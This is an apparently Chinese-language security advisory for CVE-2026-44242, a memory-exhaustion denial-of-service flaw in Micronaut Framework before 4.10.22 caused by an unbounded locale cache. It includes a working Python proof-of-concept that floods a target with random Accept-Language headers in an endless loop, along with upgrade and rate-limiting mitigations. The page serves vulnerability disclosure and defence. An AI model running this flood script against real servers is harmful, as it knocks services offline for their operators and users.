IPBUF安全漏洞报告
English
CVE-2026-44242 CVSS 3.7 低危

CVE-2026-44242 Micronaut Framework内存耗尽漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-44242
漏洞类型
拒绝服务
CVSS评分
3.7 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Micronaut Framework

相关标签

拒绝服务DoS资源耗尽MicronautCVE-2026-44242

漏洞概述

Micronaut Framework 在 4.10.22 之前的版本中存在安全漏洞。由于 bundleCache 使用 (Locale, baseName) 作为键,且 Locale 源自 HTTP Accept-Language 请求头,攻击者可以通过发送大量具有唯一 Accept-Language 值的请求,导致未限制的 bundleCache 堆积,从而耗尽堆内存。该漏洞影响显式注册 ResourceBundleMessageSource bean 并提供 HTML 错误响应的应用程序。攻击者无需认证即可利用此漏洞。

技术细节

该漏洞的核心在于 Micronaut Framework 处理国际化资源时的缓存机制缺乏边界检查。当应用显式注册了 ResourceBundleMessageSource Bean 并配置了 HTML 错误响应视图时,框架会尝试解析请求头中的 Accept-Language 字段以确定 Locale。这个 Locale 与 baseName 组合后作为 bundleCache 的键。由于该缓存没有大小限制,攻击者可以通过构造包含海量唯一或随机 Accept-Language 值的 HTTP GET/POST 请求,迫使服务器为每个请求创建新的缓存条目并占用堆内存。随着攻击持续,JVM 堆内存将被耗尽,触发 OutOfMemoryError,导致应用崩溃或服务不可用。

攻击链分析

STEP 1
侦察
攻击者识别目标是否使用 Micronaut Framework,并确认其版本低于 4.10.22。
STEP 2
利用
攻击者向目标服务器发送大量 HTTP 请求,每个请求的 Accept-Language 头部包含唯一的随机值。
STEP 3
资源耗尽
服务器为每个唯一的 Accept-Language 值在 bundleCache 中创建新条目,导致堆内存迅速被占用。
STEP 4
拒绝服务
当堆内存耗尽时,应用程序崩溃或无法处理新的请求,导致服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import random import string def generate_random_locale(): # Generate random Accept-Language header to bypass cache lang = ''.join(random.choices(string.ascii_lowercase, k=2)) region = ''.join(random.choices(string.ascii_uppercase, k=2)) return f"{lang}-{region}" def exploit(url): headers = { 'User-Agent': 'CVE-2026-44242-Test' } print(f"Starting DoS attack on {url}...") try: while True: headers['Accept-Language'] = generate_random_locale() # Target an endpoint that might trigger error handling or resource loading r = requests.get(url, headers=headers, timeout=5) print(f"Sent request with Locale: {headers['Accept-Language']}, Status: {r.status_code}") except KeyboardInterrupt: print("Attack stopped.") if __name__ == "__main__": target_url = "http://localhost:8080" # Replace with target URL exploit(target_url)

影响范围

Micronaut Framework < 4.10.22

防御指南

临时缓解措施
建议立即升级至 Micronaut Framework 4.10.22 或更高版本以彻底修复该漏洞。若暂时无法升级,应在反向代理或防火墙处对 Accept-Language 请求头进行严格校验,拒绝非标准格式的语言标签,并对 IP 请求频率进行限制,以缓解内存耗尽风险。

参考链接